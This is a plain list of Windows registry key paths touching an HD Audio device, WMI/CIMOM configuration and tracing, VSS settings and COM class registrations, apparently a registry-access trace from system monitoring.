HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{eb115ffc-10c8-4964-831d-6dcb02e6f23f}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eheadphonewave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonetopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonewave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave\Properties
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\Tracing\WMI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\WMI Writer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\system\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\software\microsoft\wbem\cimom
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32
